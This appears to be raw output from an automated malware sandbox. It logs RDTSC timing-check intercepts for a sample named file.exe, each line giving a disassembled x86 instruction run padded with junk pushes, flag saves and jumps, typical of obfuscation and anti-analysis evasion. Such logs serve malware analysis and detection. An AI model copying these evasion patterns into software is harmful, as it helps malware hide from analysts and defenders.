Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D9082E second address: 4D9089F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFAA4EF80D4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov word ptr [esi+32h], ax 0x0000000d jmp 00007FFAA4EF80D0h 0x00000012 mov eax, dword ptr [ebx+0000008Ch] 0x00000018 jmp 00007FFAA4EF80D0h 0x0000001d mov dword ptr [esi+34h], eax 0x00000020 jmp 00007FFAA4EF80D0h 0x00000025 mov eax, dword ptr [ebx+18h] 0x00000028 push eax 0x00000029 push edx 0x0000002a jmp 00007FFAA4EF80D7h 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D9089F second address: 4D908ED instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ax, di 0x00000006 push edi 0x00000007 pop ecx 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esi+38h], eax 0x0000000e pushad 0x0000000f pushad 0x00000010 mov eax, edx 0x00000012 pushfd 0x00000013 jmp 00007FFAA4B0AF25h 0x00000018 jmp 00007FFAA4B0AF1Bh 0x0000001d popfd 0x0000001e popad 0x0000001f mov edx, ecx 0x00000021 popad 0x00000022 mov eax, dword ptr [ebx+1Ch] 0x00000025 push eax 0x00000026 push edx 0x00000027 jmp 00007FFAA4B0AF21h 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D908ED second address: 4D908FD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FFAA4EF80CCh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D908FD second address: 4D90928 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFAA4B0AF1Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esi+3Ch], eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FFAA4B0AF25h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D90928 second address: 4D9092D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D9092D second address: 4D909B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushfd 0x00000005 jmp 00007FFAA4B0AF1Dh 0x0000000a jmp 00007FFAA4B0AF1Bh 0x0000000f popfd 0x00000010 popad 0x00000011 pop edx 0x00000012 pop eax 0x00000013 mov eax, dword ptr [ebx+20h] 0x00000016 pushad 0x00000017 pushfd 0x00000018 jmp 00007FFAA4B0AF24h 0x0000001d jmp 00007FFAA4B0AF25h 0x00000022 popfd 0x00000023 mov esi, 463AA387h 0x00000028 popad 0x00000029 mov dword ptr [esi+40h], eax 0x0000002c push eax 0x0000002d push edx 0x0000002e pushad 0x0000002f pushfd 0x00000030 jmp 00007FFAA4B0AF1Fh 0x00000035 add ah, 0000004Eh 0x00000038 jmp 00007FFAA4B0AF29h 0x0000003d popfd 0x0000003e mov ch, 82h 0x00000040 popad 0x00000041 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D909B9 second address: 4D90A4F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FFAA4EF80D8h 0x00000009 add eax, 5C9A9DF8h 0x0000000f jmp 00007FFAA4EF80CBh 0x00000014 popfd 0x00000015 movzx ecx, di 0x00000018 popad 0x00000019 pop edx 0x0000001a pop eax 0x0000001b lea eax, dword ptr [ebx+00000080h] 0x00000021 jmp 00007FFAA4EF80CBh 0x00000026 push 00000001h 0x00000028 jmp 00007FFAA4EF80D6h 0x0000002d nop 0x0000002e jmp 00007FFAA4EF80D0h 0x00000033 push eax 0x00000034 push eax 0x00000035 push edx 0x00000036 pushad 0x00000037 pushfd 0x00000038 jmp 00007FFAA4EF80CCh 0x0000003d sub ecx, 773089E8h 0x00000043 jmp 00007FFAA4EF80CBh 0x00000048 popfd 0x00000049 mov si, 2DDFh 0x0000004d popad 0x0000004e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D90A4F second address: 4D90A8B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx edi, si 0x00000006 pushfd 0x00000007 jmp 00007FFAA4B0AF1Ch 0x0000000c jmp 00007FFAA4B0AF25h 0x00000011 popfd 0x00000012 popad 0x00000013 pop edx 0x00000014 pop eax 0x00000015 nop 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007FFAA4B0AF1Dh 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D90A8B second address: 4D90ADC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFAA4EF80D1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 lea eax, dword ptr [ebp-10h] 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f pushfd 0x00000010 jmp 00007FFAA4EF80D3h 0x00000015 sbb si, C49Eh 0x0000001a jmp 00007FFAA4EF80D9h 0x0000001f popfd 0x00000020 pushad 0x00000021 popad 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D90ADC second address: 4D90AE1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D90AE1 second address: 4D90B04 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov ecx, edi 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push esi 0x0000000a pushad 0x0000000b mov eax, 33AA7157h 0x00000010 jmp 00007FFAA4EF80CCh 0x00000015 popad 0x00000016 mov dword ptr [esp], eax 0x00000019 pushad 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D90B53 second address: 4D90C62 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov si, 5FA3h 0x00000008 popad 0x00000009 popad 0x0000000a mov edi, eax 0x0000000c jmp 00007FFAA4B0AF26h 0x00000011 test edi, edi 0x00000013 pushad 0x00000014 pushfd 0x00000015 jmp 00007FFAA4B0AF1Eh 0x0000001a adc al, 00000018h 0x0000001d jmp 00007FFAA4B0AF1Bh 0x00000022 popfd 0x00000023 jmp 00007FFAA4B0AF28h 0x00000028 popad 0x00000029 js 00007FFB14B79A2Ah 0x0000002f jmp 00007FFAA4B0AF20h 0x00000034 mov eax, dword ptr [ebp-0Ch] 0x00000037 pushad 0x00000038 jmp 00007FFAA4B0AF1Eh 0x0000003d pushfd 0x0000003e jmp 00007FFAA4B0AF22h 0x00000043 and ch, 00000008h 0x00000046 jmp 00007FFAA4B0AF1Bh 0x0000004b popfd 0x0000004c popad 0x0000004d mov dword ptr [esi+04h], eax 0x00000050 jmp 00007FFAA4B0AF26h 0x00000055 lea eax, dword ptr [ebx+78h] 0x00000058 jmp 00007FFAA4B0AF20h 0x0000005d push 00000001h 0x0000005f pushad 0x00000060 mov di, cx 0x00000063 pushfd 0x00000064 jmp 00007FFAA4B0AF1Ah 0x00000069 xor esi, 317B98C8h 0x0000006f jmp 00007FFAA4B0AF1Bh 0x00000074 popfd 0x00000075 popad 0x00000076 nop 0x00000077 push eax 0x00000078 push edx 0x00000079 jmp 00007FFAA4B0AF25h 0x0000007e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D90D3B second address: 4D90D3F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D90D3F second address: 4D90D53 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFAA4B0AF20h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D90D53 second address: 4D90D59 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D90D59 second address: 4D90D5D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D90D5D second address: 4D90D61 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D90D61 second address: 4D90DEC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov edi, eax 0x0000000a jmp 00007FFAA4B0AF29h 0x0000000f test edi, edi 0x00000011 pushad 0x00000012 mov bx, si 0x00000015 pushfd 0x00000016 jmp 00007FFAA4B0AF28h 0x0000001b or ax, 3158h 0x00000020 jmp 00007FFAA4B0AF1Bh 0x00000025 popfd 0x00000026 popad 0x00000027 js 00007FFB14B7981Ah 0x0000002d push eax 0x0000002e push edx 0x0000002f pushad 0x00000030 pushfd 0x00000031 jmp 00007FFAA4B0AF1Bh 0x00000036 sbb ax, 501Eh 0x0000003b jmp 00007FFAA4B0AF29h 0x00000040 popfd 0x00000041 mov edx, ecx 0x00000043 popad 0x00000044 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D90DEC second address: 4D90E06 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFAA4EF80CDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [ebp-04h] 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D90E06 second address: 4D90E19 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFAA4B0AF1Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D90E19 second address: 4D90EA7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFAA4EF80D9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esi+08h], eax 0x0000000c jmp 00007FFAA4EF80CEh 0x00000011 lea eax, dword ptr [ebx+70h] 0x00000014 pushad 0x00000015 pushfd 0x00000016 jmp 00007FFAA4EF80CEh 0x0000001b or ax, 4A08h 0x00000020 jmp 00007FFAA4EF80CBh 0x00000025 popfd 0x00000026 call 00007FFAA4EF80D8h 0x0000002b mov cx, 0881h 0x0000002f pop esi 0x00000030 popad 0x00000031 push 00000001h 0x00000033 pushad 0x00000034 push eax 0x00000035 push edx 0x00000036 jmp 00007FFAA4EF80D9h 0x0000003b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D90EA7 second address: 4D90EC7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFAA4B0AF20h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ax, 5ED1h 0x0000000d popad 0x0000000e nop 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D90EC7 second address: 4D90EE0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFAA4EF80D5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D90EE0 second address: 4D90F1B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dx, FE22h 0x00000007 push edx 0x00000008 pop esi 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d jmp 00007FFAA4B0AF24h 0x00000012 nop 0x00000013 pushad 0x00000014 mov edi, ecx 0x00000016 mov ecx, 365674C9h 0x0000001b popad 0x0000001c lea eax, dword ptr [ebp-18h] 0x0000001f push eax 0x00000020 push edx 0x00000021 jmp 00007FFAA4B0AF1Bh 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D90F1B second address: 4D90F55 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFAA4EF80D9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FFAA4EF80D8h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D90F55 second address: 4D90F64 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFAA4B0AF1Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D90F64 second address: 4D90F6A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D90F6A second address: 4D90F82 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FFAA4B0AF1Dh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D91029 second address: 4D9102D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D9102D second address: 4D91044 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFAA4B0AF23h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D91044 second address: 4D9104A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D9104A second address: 4D91060 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 test edi, edi 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FFAA4B0AF1Ah 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D91060 second address: 4D910C2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFAA4EF80CBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 js 00007FFB14F66706h 0x0000000f jmp 00007FFAA4EF80D6h 0x00000014 mov eax, dword ptr [ebp-14h] 0x00000017 jmp 00007FFAA4EF80D0h 0x0000001c mov ecx, esi 0x0000001e pushad 0x0000001f push eax 0x00000020 push edx 0x00000021 pushfd 0x00000022 jmp 00007FFAA4EF80CCh 0x00000027 or ecx, 60CEA0D8h 0x0000002d jmp 00007FFAA4EF80CBh 0x00000032 popfd 0x00000033 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D910C2 second address: 4D910DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FFAA4B0AF1Fh 0x00000009 popad 0x0000000a mov dword ptr [esi+0Ch], eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D910DF second address: 4D910E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D910E3 second address: 4D910E9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D910E9 second address: 4D91106 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FFAA4EF80D9h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D91106 second address: 4D91140 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFAA4B0AF21h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov edx, 74E806ECh 0x00000010 jmp 00007FFAA4B0AF1Eh 0x00000015 sub eax, eax 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007FFAA4B0AF1Ch 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D91140 second address: 4D911B6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FFAA4EF80D1h 0x00000009 adc si, 2496h 0x0000000e jmp 00007FFAA4EF80D1h 0x00000013 popfd 0x00000014 jmp 00007FFAA4EF80D0h 0x00000019 popad 0x0000001a pop edx 0x0000001b pop eax 0x0000001c lock cmpxchg dword ptr [edx], ecx 0x00000020 push eax 0x00000021 push edx 0x00000022 pushad 0x00000023 jmp 00007FFAA4EF80CDh 0x00000028 pushfd 0x00000029 jmp 00007FFAA4EF80D0h 0x0000002e adc ax, AF18h 0x00000033 jmp 00007FFAA4EF80CBh 0x00000038 popfd 0x00000039 popad 0x0000003a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D911B6 second address: 4D911E2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov si, di 0x00000006 jmp 00007FFAA4B0AF1Bh 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pop edi 0x0000000f pushad 0x00000010 call 00007FFAA4B0AF24h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D911E2 second address: 4D91261 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 mov edx, 11C8CF54h 0x0000000a popad 0x0000000b test eax, eax 0x0000000d pushad 0x0000000e pushfd 0x0000000f jmp 00007FFAA4EF80D4h 0x00000014 sbb eax, 690C4308h 0x0000001a jmp 00007FFAA4EF80CBh 0x0000001f popfd 0x00000020 popad 0x00000021 jne 00007FFB14F6658Ah 0x00000027 pushad 0x00000028 pushfd 0x00000029 jmp 00007FFAA4EF80D4h 0x0000002e sub esi, 2C05E568h 0x00000034 jmp 00007FFAA4EF80CBh 0x00000039 popfd 0x0000003a mov ax, 8F5Fh 0x0000003e popad 0x0000003f mov edx, dword ptr [ebp+08h] 0x00000042 push eax 0x00000043 push edx 0x00000044 jmp 00007FFAA4EF80D1h 0x00000049 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D91261 second address: 4D912CA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FFAA4B0AF27h 0x00000009 adc ecx, 21E13E0Eh 0x0000000f jmp 00007FFAA4B0AF29h 0x00000014 popfd 0x00000015 pushad 0x00000016 popad 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a mov eax, dword ptr [esi] 0x0000001c jmp 00007FFAA4B0AF1Ch 0x00000021 mov dword ptr [edx], eax 0x00000023 push eax 0x00000024 push edx 0x00000025 jmp 00007FFAA4B0AF27h 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D912CA second address: 4D9133C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FFAA4EF80CFh 0x00000008 jmp 00007FFAA4EF80D8h 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 mov eax, dword ptr [esi+04h] 0x00000013 jmp 00007FFAA4EF80D0h 0x00000018 mov dword ptr [edx+04h], eax 0x0000001b jmp 00007FFAA4EF80D0h 0x00000020 mov eax, dword ptr [esi+08h] 0x00000023 pushad 0x00000024 mov bx, ax 0x00000027 pushad 0x00000028 pushad 0x00000029 popad 0x0000002a popad 0x0000002b popad 0x0000002c mov dword ptr [edx+08h], eax 0x0000002f push eax 0x00000030 push edx 0x00000031 jmp 00007FFAA4EF80CEh 0x00000036 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D9133C second address: 4D91368 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx edx, si 0x00000006 mov bx, ax 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov eax, dword ptr [esi+0Ch] 0x0000000f jmp 00007FFAA4B0AF24h 0x00000014 mov dword ptr [edx+0Ch], eax 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D91368 second address: 4D9136C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D9136C second address: 4D91370 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D91370 second address: 4D91376 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D91376 second address: 4D913D3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007FFAA4B0AF22h 0x00000008 pop ecx 0x00000009 mov esi, edx 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov eax, dword ptr [esi+10h] 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 jmp 00007FFAA4B0AF26h 0x00000019 pushfd 0x0000001a jmp 00007FFAA4B0AF22h 0x0000001f and esi, 51891058h 0x00000025 jmp 00007FFAA4B0AF1Bh 0x0000002a popfd 0x0000002b popad 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D913D3 second address: 4D913EB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FFAA4EF80D4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D913EB second address: 4D913EF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D913EF second address: 4D9141B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [edx+10h], eax 0x0000000b jmp 00007FFAA4EF80D7h 0x00000010 mov eax, dword ptr [esi+14h] 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 movsx edi, si 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D9141B second address: 4D91421 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D91421 second address: 4D91425 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D91425 second address: 4D9143F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFAA4B0AF1Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [edx+14h], eax 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 mov ecx, ebx 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D9143F second address: 4D91480 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bx, EABCh 0x00000007 pushfd 0x00000008 jmp 00007FFAA4EF80D5h 0x0000000d sub cx, E016h 0x00000012 jmp 00007FFAA4EF80D1h 0x00000017 popfd 0x00000018 popad 0x00000019 pop edx 0x0000001a pop eax 0x0000001b mov eax, dword ptr [esi+18h] 0x0000001e push eax 0x0000001f push edx 0x00000020 pushad 0x00000021 mov ecx, ebx 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D91480 second address: 4D91485 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D91485 second address: 4D914FB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFAA4EF80D2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [edx+18h], eax 0x0000000c jmp 00007FFAA4EF80D0h 0x00000011 mov eax, dword ptr [esi+1Ch] 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 pushfd 0x00000018 jmp 00007FFAA4EF80CDh 0x0000001d or ch, FFFFFF86h 0x00000020 jmp 00007FFAA4EF80D1h 0x00000025 popfd 0x00000026 pushfd 0x00000027 jmp 00007FFAA4EF80D0h 0x0000002c and eax, 5920E028h 0x00000032 jmp 00007FFAA4EF80CBh 0x00000037 popfd 0x00000038 popad 0x00000039 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D914FB second address: 4D91501 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D91501 second address: 4D91505 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D91505 second address: 4D9154B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFAA4B0AF1Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [edx+1Ch], eax 0x0000000e jmp 00007FFAA4B0AF26h 0x00000013 mov eax, dword ptr [esi+20h] 0x00000016 jmp 00007FFAA4B0AF20h 0x0000001b mov dword ptr [edx+20h], eax 0x0000001e push eax 0x0000001f push edx 0x00000020 push eax 0x00000021 push edx 0x00000022 pushad 0x00000023 popad 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D9154B second address: 4D91568 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFAA4EF80D9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D91568 second address: 4D9156E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D9156E second address: 4D915B1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFAA4EF80D3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov eax, dword ptr [esi+24h] 0x0000000e pushad 0x0000000f mov bx, si 0x00000012 push eax 0x00000013 push edx 0x00000014 pushfd 0x00000015 jmp 00007FFAA4EF80CEh 0x0000001a xor esi, 5F7CECD8h 0x00000020 jmp 00007FFAA4EF80CBh 0x00000025 popfd 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D915B1 second address: 4D915D5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFAA4B0AF28h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a mov dword ptr [edx+24h], eax 0x0000000d pushad 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
